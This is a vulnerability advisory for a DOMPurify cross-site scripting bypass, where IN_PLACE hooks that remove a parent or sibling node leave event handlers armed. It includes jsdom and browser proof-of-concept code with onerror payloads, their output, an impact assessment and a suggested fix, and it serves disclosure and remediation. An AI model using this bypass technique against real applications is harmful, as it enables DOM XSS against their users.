DOMPurifyにクロスサイトスクリプティング（XSS）の脆弱性（CVE-2026-116803）

### Summary The 3.4.16 fix for GHSA-p98j-92pf-mc4p only covers a hook that removes the node it was called for. If an `IN_PLACE` hook removes a different node, like the current node's parent or a sibling that has not been visited yet, that subtree is never walked or neutralized. Event handlers in it stay on the elements, and an `<img onerror>` that was already loading fires after `sanitize()` returns. The README says: "Nodes that a hook detaches from the tree ... are treated as removed. In IN_PLACE mode their subtree is neutralized inline, so an `<img onload>` that was already loading when you built the live tree cannot fire after `sanitize()` returns." That does not hold when the detached node is not the hook's own node. ### Tested versions - 3.4.16 (latest) and main at 18f8f0e - also 3.4.15, 3.4.12 and 2.5.8 jsdom for the matrix below, and Chromium (Playwright) for the event actually firing. ### Details `src/purify.ts` line 2134 (`dist/purify.cjs.js` line 2009 in 3.4.16), `_handleHookDetachedNode()`: ```js if (currentNode === root || getParentNode(currentNode) !== null) { return false; } if (IN_PLACE) { _neutralizeSubtree(currentNode); } ``` It only checks whether `currentNode` lost its parent. When a hook removes `currentNode.parentNode` (or any ancestor), `currentNode` still has a parent, so nothing happens. The rest of the removed subtree is no longer reachable by the walker, and it is not in `DOMPurify.removed`, so the post walk pass does not see it either. The same happens when a hook removes a later sibling. This applies to all five element and attribute hooks. ### PoC (jsdom) ```js const { JSDOM } = require('jsdom') const createDOMPurify = require('dompurify') const win = new JSDOM('<!doctype html><body></body>').window const doc = win.document for (const mode of ['self', 'parent', 'nextSibling']) { const DOMPurify = createDOMPurify(win) doc.body.innerHTML = '<div id=root><figure><img class=bad src=a.png>' + '<img id=evil src=x onerror=alert(1)></figure><p>ok</p></div>' const root = doc.getElementById('root') const evil = doc.getElementById('evil') // app hook: drop a bad image (self), its wrapper (parent), or the next element (nextSibling) DOMPurify.addHook('afterSanitizeAttributes', (node) => { if (node.getAttribute && node.getAttribute('class') === 'bad') { if (mode === 'self') node.remove() if (mode === 'parent') node.parentNode.remove() if (mode === 'nextSibling') node.nextElementSibling.remove() } }) DOMPurify.sanitize(root, { IN_PLACE: true }) console.log(DOMPurify.version, mode.padEnd(11), 'onerror =', JSON.stringify(evil.getAttribute('onerror'))) } ``` Output on 3.4.16: ``` 3.4.16 self onerror = null 3.4.16 parent onerror = "alert(1)" 3.4.16 nextSibling onerror = "alert(1)" ``` In `self` mode the walker still reaches the second image and strips `onerror`. In the other two modes the second image is detached with its handler still set. The same result is achieved with each of `beforeSanitizeElements`, `uponSanitizeElement`, `afterSanitizeElements`, `beforeSanitizeAttributes` and `afterSanitizeAttributes`. ### PoC (browser) The same thing in a real page, served from 127.0.0.1 and opened in Chromium: ```html <!doctype html><meta charset=utf-8> <script src="purify.min.js"></script> <body><pre id=log></pre> <script> window.fired = []; function run(mode) { const D = DOMPurify(window); D.addHook('afterSanitizeAttributes', n => { if (n.getAttribute && n.getAttribute('class') === 'bad') { if (mode === 'parent') n.parentNode.remove(); if (mode === 'self') n.remove(); } }); const root = document.createElement('div'); document.body.appendChild(root); root.innerHTML = '<figure><img class=bad src=data:,><img src=x onerror="fired.push(\'' + mode + '\')"></figure><p>ok</p>'; D.sanitize(root, { IN_PLACE: true }); return root.outerHTML; } const a = run('self'), b = run('parent'); setTimeout(() => { document.getElementById('log').textContent = 'version=' + DOMPurify.version + '\nself out=' + a + '\nparent out=' + b + '\nfired=' + JSON.stringify(fired); }, 1500); </script> ``` Result on 3.4.16: ``` version=3.4.16 self out=<div><figure><img src="x"></figure><p>ok</p></div> parent out=<div><p>ok</p></div> fired=["parent"] ``` The returned tree is clean in both cases, but the handler on the detached image runs in the page for `parent`. ### Impact An app that uses `IN_PLACE` with a hook that removes a wrapper or a nearby element (for example "drop the whole `<figure>` if its image is not allowed") gets DOM XSS from attacker markup after `sanitize()` returns. It needs that kind of hook, so it falls under "input plus an application choice" in SECURITY.md, but it breaks the guarantee the README gives for hook detached nodes and is the same pattern as GHSA-55q2-fjhq-7xh7 and GHSA-p98j-92pf-mc4p. ### Suggested fix Instead of only checking `currentNode`, check after each hook call whether anything outside the current node was detached. Two simple options: - before calling a hook in `IN_PLACE` mode, remember the next node the walker will visit and the current node's ancestors; after the hook, neutralize any of them that are no longer attached under `root` - or, after the walk, neutralize every element that was in the original tree but is no longer connected to `root` (for example by collecting the elements before the walk)

DOMPurify before 3.4.17 contains a cross-site scripting vulnerability that allows attackers to keep event handlers armed when an IN_PLACE hook removes a parent or sibling node. Attacker markup in detached subtrees is never walked or neutralized, so handlers like img onerror fire after sanitize() returns, causing DOM XSS.